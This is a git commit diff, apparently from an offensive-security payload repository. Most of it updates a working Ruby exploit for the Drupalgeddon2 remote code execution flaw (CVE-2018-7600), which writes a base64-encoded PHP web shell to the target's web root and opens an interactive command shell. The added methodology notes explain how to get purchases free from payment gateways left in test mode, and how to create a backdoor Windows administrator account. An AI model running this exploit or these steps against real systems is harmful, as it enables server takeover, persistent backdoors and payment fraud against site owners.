mirror of
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Drupalgeddon2 update + Payment API in Methodology
This commit is contained in:
Swissky
parent
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commit
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@ -1,6 +1,7 @@
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#!/usr/bin/env ruby
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#
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# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' ~ https://github.com/dreadlocked/Drupalgeddon2/
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# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
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#
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# Authors:
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# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
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# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
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@ -14,11 +15,82 @@ require 'openssl'
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require 'readline'
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# Proxy information (nil to disable)
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# Settings - Proxy information (nil to disable)
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proxy_addr = nil
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proxy_port = 8080
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# Settings - General
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$useragent = "drupalgeddon2"
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webshell = "s.php"
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writeshell = true
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# Settings - Payload (we could just be happy without this, but we can do better!)
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#bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
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bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
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bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
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# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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# Function http_post <url> [post]
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def http_post(url, payload="")
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uri = URI(url)
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request = Net::HTTP::Post.new(uri.request_uri)
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request.initialize_http_header({"User-Agent" => $useragent})
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request.body = payload
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return $http.request(request)
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end
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# Function gen_evil_url <cmd>
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def gen_evil_url(evil, feedback=true)
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# PHP function to use (don't forget about disabled functions...)
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phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"
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#puts "[*] PHP cmd: #{phpmethod}" if feedback
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puts "[*] Payload: #{evil}" if feedback
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## Check the version to match the payload
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# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
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if $drupalverion.start_with?('8')
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# Method #1 - Drupal 8, mail, #post_render - response is 200
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url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
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payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
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# Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
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#url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
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#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
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elsif $drupalverion.start_with?('7')
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# Method #3 - Drupal 7, name, #post_render - response is 200
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url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
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payload = "form_id=user_pass&_triggering_element_name=name"
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else
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puts "[!] Unsupported Drupal version"
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exit
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end
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# Drupal v7 needs an extra value from a form
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if $drupalverion.start_with?('7')
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response = http_post(url, payload)
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form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
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puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?
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#url = $target + "file/ajax/name/%23value/" + form_build_id
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url = $target + "?q=file/ajax/name/%23value/" + form_build_id
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payload = "form_build_id=" + form_build_id
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end
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return url, payload
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end
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# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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# Quick how to use
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if ARGV.empty?
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puts "Usage: ruby drupalggedon2.rb <target>"
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@ -26,184 +98,211 @@ if ARGV.empty?
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exit
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end
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# Read in values
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target = ARGV[0]
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$target = ARGV[0]
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# Check input for protocol
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if not $target.start_with?('http')
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$target = "http://#{$target}"
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end
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# Check input for the end
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if not $target.end_with?('/')
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$target += "/"
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end
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# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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# Banner
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puts "[*] --==[::#Drupalggedon2::]==--"
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puts "-"*80
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# Check input for protocol
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if not target.start_with?('http')
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target = "http://${target}"
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end
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# Check input for the end
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if not target.end_with?('/')
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target += "/"
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end
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# Payload (we could just be happy with this, but we can do better!)
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#evil = '<?php if( isset( $_REQUEST["c"] ) ) { eval( $_GET[c]) ); } ?>'
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evil = '<?php if( isset( $_REQUEST["c"] ) ) { system( $_REQUEST["c"] . " 2>&1" ); }'
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evil = "echo " + Base64.strict_encode64(evil).strip + " | base64 -d | tee s.php"
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# Feedback
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puts "[*] Target : #{target}"
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puts "[*] Payload: #{evil}"
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puts "[*] Target : #{$target}"
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puts "[*] Write? : Skipping writing web shell" if not writeshell
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puts "-"*80
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# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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# Setup connection
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uri = URI($target)
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$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
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# Use SSL/TLS if needed
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if uri.scheme == "https"
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$http.use_ssl = true
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$http.verify_mode = OpenSSL::SSL::VERIFY_NONE
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end
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# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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# Try and get version
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drupalverion = nil
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$drupalverion = nil
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# Possible URLs
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url = [
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target + "CHANGELOG.txt",
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target + "core/CHANGELOG.txt",
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target + "includes/bootstrap.inc",
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target + "core/includes/bootstrap.inc",
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$target + "CHANGELOG.txt",
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$target + "core/CHANGELOG.txt",
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$target + "includes/bootstrap.inc",
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$target + "core/includes/bootstrap.inc",
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]
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# Check all
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url.each do|uri|
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exploit_uri = URI(uri)
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# Check response
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http = Net::HTTP.new(exploit_uri.host, exploit_uri.port, proxy_addr, proxy_port)
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request = Net::HTTP::Get.new(exploit_uri.request_uri)
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response = http.request(request)
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response = http_post(uri)
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if response.code == "200"
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puts "[+] Found : #{uri} (#{response.code})"
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# Patched already?
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puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"
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drupalverion = response.body.match(/Drupal (.*),/).to_s().slice(/Drupal (.*),/, 1).strip
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puts "[+] Drupal!: #{drupalverion}"
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# Try and get version from the file contents
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$drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
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# If not, try and get it from the URL
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$drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?
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# Done!
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break
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elsif response.code == "403"
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puts "[+] Found : #{uri} (#{response.code})"
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drupalverion = uri.match(/core/)? '8.x' : '7.x'
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puts "[+] Drupal?: #{drupalverion}"
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# Get version from URL
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$drupalverion = uri.match(/core/)? "8.x" : "7.x"
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else
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puts "[!] MISSING: #{uri} (#{response.code})"
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end
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end
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if not drupalverion
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puts "[!] Didn't detect Drupal version"
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puts "[!] Forcing Drupal v8.x attack"
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drupalverion = "8.x"
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end
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puts "-"*80
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# PHP function to use (don't forget about disabled functions...)
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phpmethod = drupalverion.start_with?('8')? 'exec' : 'passthru'
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puts "[*] PHP cmd: #{phpmethod}"
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puts "-"*80
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## Check the version to match the payload
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if drupalverion.start_with?('8')
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# Method #1 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
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#url = target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
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#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
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# Method #2 - Drupal 8, mail, #post_render - response is 200
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url = target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
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# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
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payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
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elsif drupalverion.start_with?('7')
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# Method #3 - Drupal 7, name, #post_render - response is 200
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url = target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
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payload = "form_id=user_pass&_triggering_element_name=name"
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else
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puts "[!] Unsupported Drupal version"
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exit
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end
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uri = URI(url)
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http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
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# Use SSL/TLS if needed
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if uri.scheme == 'https'
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http.use_ssl = true
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http.verify_mode = OpenSSL::SSL::VERIFY_NONE
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end
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# Drupal v7 needs an extra value from a form
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if drupalverion.start_with?('7')
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req = Net::HTTP::Post.new(uri.request_uri)
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req.body = payload
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response = http.request(req)
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form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).strip
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url = target + "file/ajax/name/%23value/" + form_build_id
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uri = URI(url)
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payload = "form_build_id=" + form_build_id
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end
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# Make the request
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req = Net::HTTP::Post.new(uri.request_uri)
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req.body = payload
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# Check response
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response = http.request(req)
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if response.code == "200"
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puts "[+] Target seems to be exploitable! w00hooOO!"
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#puts "[+] Result: " + JSON.pretty_generate(JSON[response.body])
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result = drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
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puts "[+] Result: #{result}"
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else
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puts "[!] Target does NOT seem to be exploitable ~ Response: #{response.code}"
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end
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puts "-"*80
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# Feedback
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puts "[*] curl '#{target}s.php' -d 'c=whoami'"
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if $drupalverion
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status = $drupalverion.end_with?('x')? "?" : "!"
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puts "[+] Drupal#{status}: #{$drupalverion}"
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else
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puts "[!] Didn't detect Drupal version"
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puts "[!] Forcing Drupal v8.x attack"
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$drupalverion = "8.x"
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end
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puts "-"*80
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# Test to see if backdoor is there
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exploit_uri = URI(target + "s.php")
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# Check response
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http = Net::HTTP.new(exploit_uri.host, exploit_uri.port, proxy_addr, proxy_port)
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request = Net::HTTP::Get.new(exploit_uri.request_uri)
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response = http.request(request)
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if response.code == "200"
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puts "[*] Fake shell: "
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# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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# Stop any CTRL + C action ;)
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trap('INT', 'SIG_IGN')
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# Forever loop
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loop do
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# Get input
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command = Readline.readline('drupalgeddon2> ', true)
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# Exit
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break if command =~ /exit/
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# Make a request, testing code execution
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puts "[*] Testing: Code Execution"
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# Generate a random string to see if we can echo it
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random = (0...8).map { (65 + rand(26)).chr }.join
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url, payload = gen_evil_url("echo #{random}")
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response = http_post(url, payload)
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if response.code == "200" and not response.body.empty?
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#result = JSON.pretty_generate(JSON[response.body])
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result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
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puts "[+] Result : #{result}"
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# Blank link?
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next if command.empty?
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# Send request
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req = Net::HTTP::Post.new(exploit_uri.request_uri)
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req.body = "c=#{command}"
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puts http.request(req).body
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end
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puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
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else
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puts "[!] Exploit FAILED ~ Response: #{response.code}"
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puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
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exit
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end
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puts "-"*80
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# Location of web shell & used to signal if using PHP shell
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webshellpath = nil
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prompt = "drupalgeddon2"
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# Possibles paths to try
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paths = [
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"./",
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"./sites/default/",
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"./sites/default/files/",
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]
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# Check all
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paths.each do|path|
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puts "[*] Testing: File Write To Web Root (#{path})"
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# Merge locations
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webshellpath = "#{path}#{webshell}"
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# Final command to execute
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cmd = "#{bashcmd} | tee #{webshellpath}"
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# Generate evil URLs
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url, payload = gen_evil_url(cmd)
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# Make the request
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response = http_post(url, payload)
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# Check result
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if response.code == "200" and not response.body.empty?
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# Feedback
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#result = JSON.pretty_generate(JSON[response.body])
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result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
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puts "[+] Result : #{result}"
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# Test to see if backdoor is there (if we managed to write it)
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response = http_post("#{$target}#{webshellpath}", "c=hostname")
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if response.code == "200" and not response.body.empty?
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puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
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break
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else
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puts "[!] Target is NOT exploitable. No write access here!"
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end
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else
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puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
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end
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webshellpath = nil
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end if writeshell
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puts "-"*80 if writeshell
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if webshellpath
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# Get hostname for the prompt
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prompt = response.body.to_s.strip
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# Feedback
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puts "[*] Fake shell: curl '#{$target}#{webshell}' -d 'c=whoami'"
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elsif writeshell
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puts "[!] FAILED: Coudn't find writeable web path"
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puts "[*] Dropping back direct commands (expect an ugly shell!)"
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end
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# Stop any CTRL + C action ;)
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trap("INT", "SIG_IGN")
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# Forever loop
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loop do
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# Default value
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result = "ERROR"
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# Get input
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command = Readline.readline("#{prompt}>> ", true).to_s
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# Exit
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break if command =~ /exit/
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# Blank link?
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next if command.empty?
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# If PHP shell
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if webshellpath
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# Send request
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result = http_post("#{$target}#{webshell}", "c=#{command}").body
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# Direct commands
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else
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url, payload = gen_evil_url(command, false)
|
||||
response = http_post(url, payload)
|
||||
if response.code == "200" and not response.body.empty?
|
||||
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
|
||||
end
|
||||
end
|
||||
|
||||
# Feedback
|
||||
puts result
|
||||
end
|
||||
|
||||
@ -276,32 +276,42 @@ then launch Burp with : java -jar burpsuite_free_v*.jar &
|
||||
```
|
||||
|
||||
* Checklist for Web vulns
|
||||
```
|
||||
[] AWS Amazon Bucket S3
|
||||
[] Git Svn insecure files
|
||||
[] CVE Shellshock Heartbleed
|
||||
[] Open redirect
|
||||
[] Traversal directory
|
||||
[] XSS injection
|
||||
[] CRLF injection
|
||||
[] CSRF injection
|
||||
[] SQL injection
|
||||
[] NoSQL injection
|
||||
[] PHP include
|
||||
[] Upload insecure files
|
||||
[] SSRF injection
|
||||
[] XXE injections
|
||||
[] CSV injection
|
||||
[] PHP serialization
|
||||
...
|
||||
```
|
||||
```
|
||||
[] AWS Amazon Bucket S3
|
||||
[] Git Svn insecure files
|
||||
[] CVE Shellshock Heartbleed
|
||||
[] Open redirect
|
||||
[] Traversal directory
|
||||
[] XSS injection
|
||||
[] CRLF injection
|
||||
[] CSRF injection
|
||||
[] SQL injection
|
||||
[] NoSQL injection
|
||||
[] PHP include
|
||||
[] Upload insecure files
|
||||
[] SSRF injection
|
||||
[] XXE injections
|
||||
[] CSV injection
|
||||
[] PHP serialization
|
||||
...
|
||||
```
|
||||
|
||||
* Subscribe to the site and pay for the additional functionality to test
|
||||
|
||||
* Launch a Nikto scan in case you missed something
|
||||
```
|
||||
nikto -h http://domain.example.com
|
||||
```
|
||||
```
|
||||
nikto -h http://domain.example.com
|
||||
```
|
||||
|
||||
* Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392)
|
||||
> if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free
|
||||
From https://stripe.com/docs/testing#cards : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. "
|
||||
e.g :
|
||||
| NUMBER | BRAND |
|
||||
| :------------- | :------------- |
|
||||
| 4242424242424242 | Visa |
|
||||
| 4000056655665556 | Visa (debit) |
|
||||
| 5555555555554444 | Mastercard |
|
||||
|
||||
## Thanks to
|
||||
* http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/
|
||||
|
||||
@ -1,4 +1,10 @@
|
||||
# Windows - Using credentials
|
||||
Little tip, if you don't have credentials yet :D
|
||||
```
|
||||
net user hacker hacker /add
|
||||
net localgroup administrators hacker /add
|
||||
```
|
||||
|
||||
|
||||
## Metasploit - SMB
|
||||
```c
|
||||
|
||||
Loading…
Reference in New Issue
Block a user